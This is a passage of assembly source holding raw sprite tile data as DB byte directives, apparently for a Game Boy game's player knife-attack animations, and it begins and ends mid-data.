$70,$FE,$78,$BE,$78,$FE,$70,$FC DB $60,$FC,$40,$FE,$00,$FE,$00,$FE DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$01 DB $00,$03,$00,$03,$00,$07,$00,$03 DB $00,$01,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $01,$FF,$01,$FF,$03,$FF,$03,$FF DB $07,$FF,$07,$FF,$0F,$FF,$0F,$FF DB $0F,$F9,$0F,$F0,$0F,$73,$07,$07 DB $0E,$0E,$18,$18,$10,$10,$00,$00 DB $80,$FE,$00,$FE,$00,$FF,$80,$FF DB $80,$FF,$C0,$FF,$C0,$FF,$E0,$7F DB $E0,$FF,$E0,$FF,$E0,$FC,$F0,$F0 DB $60,$60,$60,$60,$40,$40,$60,$60 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$80,$00,$80,$00,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$01 DB $00,$01,$00,$01,$00,$01,$00,$01 DB $00,$00,$00,$01,$00,$03,$00,$07 DB $00,$0F,$00,$1F,$00,$3F,$00,$3F DB $00,$78,$00,$FC,$00,$FC,$00,$FE DB $10,$FE,$38,$FF,$3C,$EF,$3C,$FF DB $38,$FE,$30,$FE,$21,$FF,$0F,$FF DB $7E,$FF,$70,$FF,$70,$FF,$60,$FF DB $00,$00,$00,$00,$00,$00,$18,$08 DB $0E,$08,$1F,$18,$11,$10,$30,$30 DB $20,$20,$60,$60,$C0,$C0,$80,$80 DB $00,$00,$00,$00,$00,$00,$00,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$7F,$00,$7F,$00,$7F,$00,$7F DB $00,$7F,$00,$7F,$00,$7F,$00,$3F DB $00,$3F,$00,$1F,$00,$0F,$00,$07 DB $00,$03,$01,$01,$01,$01,$01,$01 DB $40,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$7E,$FF DB $3E,$FF,$CF,$CF,$DC,$DC,$90,$90 DB $10,$90,$00,$E0,$00,$20,$80,$80 DB $00,$C0,$00,$E0,$00,$E0,$00,$C0 DB $00,$E0,$00,$80,$00,$80,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$01 DB $00,$01,$00,$01,$00,$01,$00,$01 DB $00,$00,$00,$01,$00,$03,$00,$07 DB $00,$0F,$00,$0F,$00,$1F,$00,$1F DB $00,$78,$00,$FC,$00,$FC,$00,$FE DB $10,$FE,$38,$FF,$3C,$EF,$3C,$FF DB $38,$FE,$33,$FF,$23,$FF,$0F,$FF DB $7E,$FF,$F0,$FF,$F0,$FF,$E0,$FF DB $00,$00,$00,$00,$30,$10,$1C,$10 DB $3E,$30,$32,$30,$60,$60,$60,$60 DB $C0,$C0,$80,$80,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$3F,$00,$3F,$00,$3F DB $00,$3F,$00,$3F,$00,$3F,$00,$3F DB $00,$1F,$00,$0F,$00,$07,$00,$07 DB $00,$03,$01,$01,$01,$01,$01,$01 DB $40,$FF,$40,$FF,$40,$FF,$30,$FF DB $30,$FF,$18,$FF,$1C,$FF,$06,$FE DB $02,$FE,$01,$FF,$00,$FF,$00,$F8 DB $00,$FC,$00,$10,$00,$00,$80,$80 DB $00,$80,$00,$80,$00,$C0,$00,$C0 DB $00,$C0,$00,$80,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$01 DB $00,$01,$00,$01,$00,$01,$00,$01 DB $00,$00,$00,$01,$00,$03,$00,$07 DB $00,$0F,$00,$0F,$00,$1F,$00,$1F DB $00,$78,$00,$FC,$00,$FC,$00,$FE DB $10,$FE,$38,$FF,$3C,$EF,$3C,$FF DB $38,$FE,$31,$FF,$23,$FF,$0F,$FF DB $7E,$FF,$F0,$FE,$F0,$FE,$E0,$FE DB $00,$00,$00,$00,$30,$10,$1C,$10 DB $3E,$30,$32,$30,$60,$60,$60,$60 DB $C0,$C0,$80,$80,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$3F,$00,$3F,$00,$3F DB $00,$7F,$00,$7F,$00,$7F,$00,$3F DB $00,$3F,$00,$3F,$00,$1F,$00,$0F DB $00,$0F,$00,$03,$01,$01,$01,$01 DB $40,$FE,$C0,$FF,$C0,$FF,$F0,$FF DB $F0,$FF,$78,$FF,$3C,$FF,$1E,$FF DB $1E,$FF,$06,$FF,$00,$FC,$00,$F8 DB $00,$F0,$00,$90,$00,$00,$80,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$80,$00,$80,$00,$80,$00,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$01,$00,$01 DB $00,$03,$00,$03,$00,$03,$00,$03 DB $00,$03,$00,$01,$00,$03,$00,$07 DB $00,$0F,$00,$1F,$01,$1F,$01,$3F DB $00,$00,$00,$F0,$00,$F8,$00,$F8 DB $00,$FC,$20,$FC,$70,$FE,$78,$DE DB $78,$FE,$70,$FC,$60,$FC,$43,$FF DB $1F,$FF,$FE,$FE,$F8,$F8,$E0,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$28,$08 DB $1E,$18,$3F,$30,$63,$60,$C0,$C0 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $01,$3F,$00,$7F,$01,$7F,$01,$7F DB $01,$7F,$01,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$3F,$00,$07,$02,$02,$03,$03 DB $C0,$FC,$80,$FC,$80,$FC,$80,$FC DB $E0,$FE,$E0,$FE,$F0,$FE,$F8,$FE DB $78,$FE,$78,$FC,$38,$FC,$18,$F8 DB $18,$F8,$30,$F0,$20,$20,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$08,$80,$1F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$01,$00,$01,$00,$03 DB $00,$03,$00,$03,$00,$03,$00,$03 DB $00,$01,$00,$03,$00,$07,$00,$0F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$F0,$00,$F8,$00,$F8,$00,$FC DB $20,$FC,$70,$FE,$78,$DE,$78,$FE DB $70,$FC,$60,$FC,$20,$FC,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $C0,$1F,$C0,$1F,$C1,$0F,$FF,$1F DB $70,$7F,$40,$0F,$00,$0F,$00,$07 DB $00,$07,$00,$03,$00,$01,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$FF,$1F,$FF,$FF,$FF,$83,$FF DB $03,$FF,$07,$FF,$07,$FF,$0F,$FF DB $0F,$FF,$0F,$FF,$0F,$FF,$1F,$FF DB $3E,$3E,$60,$60,$C0,$C0,$00,$00 DB $C0,$F8,$C0,$F8,$C0,$F8,$E0,$FC DB $E0,$FC,$E0,$FE,$E0,$FF,$E0,$FF DB $F0,$FF,$F0,$FF,$F0,$FF,$F0,$FC DB $34,$3C,$0C,$0C,$04,$04,$06,$06 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$80,$00,$80,$00,$80 DB $00,$80,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$80,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$01,$00,$03,$00,$03 DB $00,$03,$00,$03,$00,$03,$00,$03 DB $00,$01,$00,$07,$00,$07,$00,$0F DB $00,$00,$00,$00,$00,$00,$00,$F0 DB $00,$F8,$00,$F8,$00,$FC,$60,$FC DB $F0,$FC,$F0,$FE,$F0,$6E,$F0,$FE DB $E0,$FC,$40,$FC,$00,$FC,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $C0,$00,$C0,$0F,$C7,$0F,$FE,$3F DB $60,$6F,$40,$0F,$00,$0F,$00,$07 DB $00,$07,$00,$03,$00,$01,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$FF,$FF,$FF,$FF,$FF,$07,$FF DB $07,$FF,$07,$FF,$07,$FF,$07,$FF DB $07,$FF,$07,$FF,$07,$FF,$0F,$FF DB $3F,$3F,$3E,$3E,$60,$60,$C0,$C0 DB $00,$FE,$80,$FE,$80,$FE,$80,$FE DB $C0,$FE,$C0,$FE,$E0,$FF,$E0,$FF DB $E0,$FF,$F0,$FF,$F0,$FF,$70,$7E DB $14,$1C,$0C,$0C,$04,$04,$06,$06 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$80,$00,$80,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$80,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$01,$00,$03,$00,$03 DB $00,$03,$00,$03,$00,$03,$00,$03 DB $00,$01,$00,$07,$00,$0F,$00,$1F DB $00,$00,$00,$00,$00,$00,$00,$F0 DB $00,$F8,$00,$F8,$00,$FC,$60,$FC DB $F0,$FC,$F0,$FE,$F0,$6E,$F0,$FE DB $E0,$FC,$40,$FC,$00,$FC,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $C0,$00,$C0,$00,$C7,$07,$7E,$3E DB $60,$60,$40,$00,$00,$01,$00,$03 DB $00,$07,$00,$03,$00,$01,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$FF,$FF,$F9,$FF,$03,$3F DB $03,$7F,$03,$FF,$03,$FF,$03,$FF DB $03,$FF,$07,$FF,$07,$FF,$0F,$FF DB $3F,$3F,$3E,$3E,$60,$60,$C0,$C0 DB $00,$FE,$80,$FE,$80,$FE,$80,$FE DB $80,$FE,$C0,$FE,$C0,$FE,$C0,$FE DB $E0,$FE,$E0,$FF,$E0,$FF,$F0,$FE DB $18,$1C,$0C,$0C,$04,$04,$06,$06 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$01,$00,$03,$00,$03 DB $00,$07,$00,$07,$01,$07,$01,$07 DB $01,$06,$01,$07,$01,$03,$00,$0F DB $00,$1F,$00,$3F,$00,$7F,$3F,$7F DB $00,$00,$00,$E0,$00,$F0,$00,$F0 DB $00,$F8,$C0,$F8,$E0,$F8,$E0,$FC DB $E0,$DC,$E0,$FC,$C0,$F8,$80,$F8 DB $00,$F8,$00,$F8,$00,$FC,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$01,$01,$63,$03,$7F,$07 DB $3C,$0C,$1C,$19,$00,$01,$00,$03 DB $00,$03,$00,$01,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $F7,$FF,$C7,$FF,$07,$3F,$07,$7F DB $03,$FF,$03,$FF,$07,$FF,$07,$FF DB $07,$FF,$07,$FF,$06,$7E,$0E,$0E DB $0E,$0E,$1C,$1C,$38,$38,$60,$60 DB $00,$FC,$00,$FC,$00,$FC,$80,$FC DB $80,$FC,$80,$FC,$C0,$FC,$C0,$FE DB $C0,$FE,$E0,$FC,$60,$F8,$18,$18 DB $18,$18,$18,$18,$08,$08,$0C,$0C DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 r3_SpritePlayerKnifeAttackDownEnd:: r3_SpritePlayerKnifeAttackUp:: DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$01 DB $00,$03,$00,$03,$00,$07,$00,$07 DB $00,$0F,$00,$0F,$00,$0F,$00,$07 DB $00,$0F,$00,$0F,$00,$1F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$E0 DB $00,$F0,$00,$F0,$00,$F8,$00,$F8 DB $00,$F8,$00,$F8,$00,$F8,$00,$F0 DB $00,$F8,$00,$FC,$00,$FE,$00,$FE DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$3F,$00,$7F,$00,$7F DB $00,$7F,$00,$7F,$00,$7F,$00,$7F DB $00,$7F,$00,$1F,$02,$07,$07,$07 DB $06,$06,$04,$04,$04,$04,$00,$00 DB $00,$FE,$00,$FE,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FE,$00,$F8,$70,$70 DB $60,$60,$60,$60,$60,$60,$20,$20 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$03,$00,$07,$00,$07 DB $00,$0F,$00,$0F,$00,$1F,$00,$1F DB $00,$1F,$00,$0F,$00,$1F,$00,$1F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$C0,$00,$E0,$00,$E0 DB $00,$F0,$00,$F0,$00,$F0,$00,$F0 DB $00,$F0,$00,$E0,$00,$F0,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$01 DB $00,$01,$00,$01,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$7F,$00,$7F,$00,$7F DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$3F DB $0E,$0E,$0C,$0C,$0C,$0C,$04,$04 DB $00,$FE,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FE,$00,$FC DB $E0,$E0,$60,$60,$20,$20,$20,$20 DB $00,$00,$00,$00,$00,$80,$00,$80 DB $00,$C0,$00,$C0,$00,$C0,$00,$C0 DB $00,$C0,$00,$C0,$00,$80,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$03,$00,$07,$00,$07 DB $00,$0F,$00,$0F,$00,$1F,$00,$1F DB $00,$1F,$00,$0F,$00,$1F,$00,$7F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$C0,$00,$E0,$00,$E0 DB $00,$F0,$00,$F0,$00,$F0,$00,$F0 DB $00,$F0,$00,$E0,$00,$FF,$00,$FF DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$02,$F8,$06,$FE DB $00,$00,$00,$03,$00,$07,$00,$0F DB $00,$1F,$00,$1F,$00,$0F,$00,$07 DB $00,$01,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$30,$3F DB $1E,$1E,$0C,$0C,$0C,$0C,$04,$04 DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FE,$00,$FC,$00,$F8,$00,$F8 DB $F0,$F0,$60,$60,$20,$20,$20,$20 DB $06,$FE,$07,$F0,$06,$F0,$06,$E0 DB $06,$E0,$04,$C0,$00,$80,$00,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$03,$00,$07,$00,$07 DB $00,$0F,$00,$0F,$00,$1F,$00,$1F DB $00,$1F,$00,$0F,$00,$1F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$C0,$00,$E0,$00,$E0 DB $00,$F0,$00,$F0,$00,$F0,$00,$F0 DB $00,$F0,$00,$E0,$00,$F8,$00,$FF DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$02,$00,$3E,$BE DB $00,$00,$00,$00,$00,$00,$00,$01 DB $00,$01,$00,$03,$00,$03,$00,$03 DB $00,$03,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$7F,$00,$7F,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$3F DB $0E,$0E,$0C,$0C,$0C,$0C,$04,$04 DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FE,$00,$F8 DB $F0,$F0,$60,$60,$20,$20,$20,$20 DB $7F,$F8,$06,$C0,$06,$C0,$06,$C0 DB $04,$E0,$00,$E0,$00,$F0,$00,$F0 DB $00,$80,$00,$80,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$03,$00,$07,$00,$07 DB $00,$0F,$00,$0F,$00,$1F,$00,$1F DB $00,$1F,$00,$0F,$00,$1F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$C0,$00,$E0,$00,$E0 DB $00,$F0,$00,$F0,$00,$F0,$00,$F0 DB $00,$F0,$00,$E0,$00,$F8,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$04,$00,$06,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$7F,$00,$7F,$00,$7F DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$3F DB $0E,$0E,$0C,$0C,$0C,$0C,$04,$04 DB $00,$FC,$00,$FE,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FE DB $F0,$F0,$60,$60,$20,$20,$20,$20 DB $07,$00,$3E,$3E,$F8,$F8,$40,$C0 DB $00,$80,$00,$C0,$00,$C0,$00,$E0 DB $00,$C0,$00,$80,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$07,$00,$0F,$00,$0F DB $00,$1F,$00,$1F,$00,$3F,$00,$3F DB $00,$3F,$00,$1F,$00,$1F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$80,$00,$C0,$00,$C0 DB $00,$E0,$00,$E0,$00,$E0,$00,$E0 DB $00,$E0,$00,$C0,$00,$F8,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$7F,$00,$7F,$00,$7F DB $00,$7F,$00,$7F,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$3F DB $0E,$0E,$0C,$0C,$0C,$0C,$04,$04 DB $00,$FC,$00,$FE,$00,$FE,$00,$FE DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FE DB $F0,$F0,$60,$60,$20,$20,$20,$20 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$0C,$00,$9C,$80 DB $D8,$C0,$38,$B0,$20,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$0F DB $00,$1F,$00,$1F,$00,$3F,$00,$3F DB $00,$7F,$00,$7F,$00,$7F,$00,$3F DB $00,$3F,$00,$7F,$00,$7F,$00,$7F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$80,$00,$80,$00,$C0,$00,$C0 DB $00,$C0,$00,$C0,$00,$C0,$00,$80 DB $00,$E0,$00,$F8,$00,$F8,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$01,$00,$01,$00,$01 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$7F,$00,$7F,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$3F,$0F,$0F DB $06,$06,$06,$06,$02,$02,$06,$06 DB $00,$FC,$00,$FE,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FE,$E0,$E0 DB $70,$70,$18,$18,$08,$08,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$80 DB $00,$C0,$00,$C0,$00,$E0,$00,$C0 DB $00,$80,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$18,$10 DB $70,$10,$78,$18,$C8,$08,$8C,$0C DB $04,$04,$06,$06,$03,$03,$01,$01 DB $00,$00,$00,$00,$00,$00,$00,$01 DB $00,$1F,$00,$3F,$00,$3F,$00,$7F DB $00,$7F,$00,$FF,$00,$FF,$00,$FF DB $00,$7F,$00,$7F,$80,$FF,$80,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$00,$00,$00,$00,$00,$00,$80 DB $00,$80,$00,$80,$00,$80,$00,$80 DB $00,$00,$00,$80,$00,$C0,$00,$E0 DB $00,$F0,$00,$F8,$00,$FC,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$03,$00,$07,$00,$07,$00,$03 DB $00,$07,$00,$01,$00,$01,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$60,$FF DB $7C,$FF,$F3,$F3,$3B,$3B,$09,$09 DB $08,$09,$00,$07,$00,$04,$01,$01 DB $00,$FE,$00,$FE,$00,$FE,$00,$FE DB $00,$FE,$00,$FE,$00,$FE,$00,$FC DB $00,$FC,$00,$F8,$00,$F0,$80,$E0 DB $80,$C0,$80,$80,$80,$80,$80,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$0C,$08,$38,$08 DB $3C,$0C,$64,$04,$46,$06,$06,$06 DB $03,$03,$01,$01,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$1E,$00,$3F,$00,$3F,$00,$7F DB $00,$7F,$00,$FF,$00,$FF,$00,$FF DB $00,$7F,$80,$FF,$80,$FF,$00,$FF DB 